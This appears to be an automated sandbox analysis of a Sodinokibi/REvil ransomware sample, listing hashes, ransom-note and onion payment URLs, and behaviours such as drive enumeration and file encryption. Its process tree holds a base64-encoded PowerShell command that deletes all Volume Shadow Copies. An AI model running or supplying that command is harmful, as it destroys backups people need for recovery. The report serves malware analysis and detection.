Resubmissions
18-09-2024 11:32
240918-nnmz7azakp 1015-09-2024 12:50
240915-p21c4svflm 1015-09-2024 12:44
240915-pysh4atflf 1015-09-2024 12:04
240915-n83ldatdpl 10Analysis
-
max time kernel
122s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
15-09-2024 12:04
Behavioral task
behavioral1
Sample
e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
-
Target
e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
-
Size
165KB
-
MD5
e2708d3c57b562b01da42f9e7549781f
-
SHA1
3d82951dbfab5629187b26ecb7388b7a05597f67
-
SHA256
d976a41f366fb1e3a0a5d15878d84e24704949973d9e0ccead9a779dee03ef0f
-
SHA512
c483968f981e64021025bf4f42424df3cfb88a55bd4cb7f2aa904515eccb85e239c3d44812b28d5b617b6b8476dcc3f4258465a211ae6e6725adbf1850234619
-
SSDEEP
3072:eCEq0R0nZ5ys5n4Y9doh7O79siUs/NaxohzDKMlt:lw02sJPi7O93N3FHlt
Malware Config
Extracted
C:\Users\s7k82s16-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D761E04F4E92FC72
http://decryptor.top/D761E04F4E92FC72
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\T: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\N: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\Q: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\W: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\O: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\A: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\K: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\L: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\S: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\Z: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\D: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\B: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\E: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\M: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\V: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\F: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\H: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\I: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\R: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\G: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\P: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\X: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\J: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\U: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened (read-only) \??\Y: e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\36y5redxkx0.bmp" e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe -
Drops file in Program Files directory 36 IoCs
description ioc Process File created \??\c:\program files (x86)\s7k82s16-readme.txt e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\SyncShow.vssm e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\TestSplit.raw e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\MergeApprove.reg e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\ProtectShow.mpeg2 e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\SkipOut.001 e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\SwitchAssert.ppt e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\s7k82s16-readme.txt e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\AssertDebug.dotm e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\ProtectClose.au3 e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\ReceiveRestart.TS e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\RenameClose.xls e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\SearchUnpublish.i64 e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\SyncUnpublish.rtf e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File created \??\c:\program files\s7k82s16-readme.txt e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\DisconnectEdit.jfif e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\DisconnectUnlock.gif e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\RestoreFormat.jpeg e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\WaitUnpublish.wps e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\s7k82s16-readme.txt e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\DisableRedo.mhtml e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\EnterExit.php e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\PingResume.css e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\PushSubmit.vb e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\ReadClear.vsd e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\ReceiveUnlock.rmi e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\DebugMerge.vdx e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\PushWait.xps e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\SuspendRemove.css e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\BackupProtect.xht e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\CopyShow.odp e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\MeasureComplete.m4v e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\RevokeSend.3g2 e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\AssertSave.jpeg e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File opened for modification \??\c:\program files\WritePop.gif e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\s7k82s16-readme.txt e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2856 e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe 2036 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2036 powershell.exe Token: SeBackupPrivilege 2588 vssvc.exe Token: SeRestorePrivilege 2588 vssvc.exe Token: SeAuditPrivilege 2588 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2856 wrote to memory of 2036 2856 e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe 31 PID 2856 wrote to memory of 2036 2856 e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe 31 PID 2856 wrote to memory of 2036 2856 e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe 31 PID 2856 wrote to memory of 2036 2856 e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe 31 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2036
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2824
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2588
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
6KB
MD5767297732b60308c025c0c1804ffce4c
SHA14669f6db0dd2253658da612bf5fae52aa5cefe02
SHA2567895cc081181fd646b806f2525d3cb25098e7f8f6c8c149363a503743b45ba82
SHA512064de7c9684d423249045fcce3680211604e5da620e0103bfd46f3b90245261435ff35e930b6518f9d571c12a19179ccc420382beb487087f185cec39c19f0ab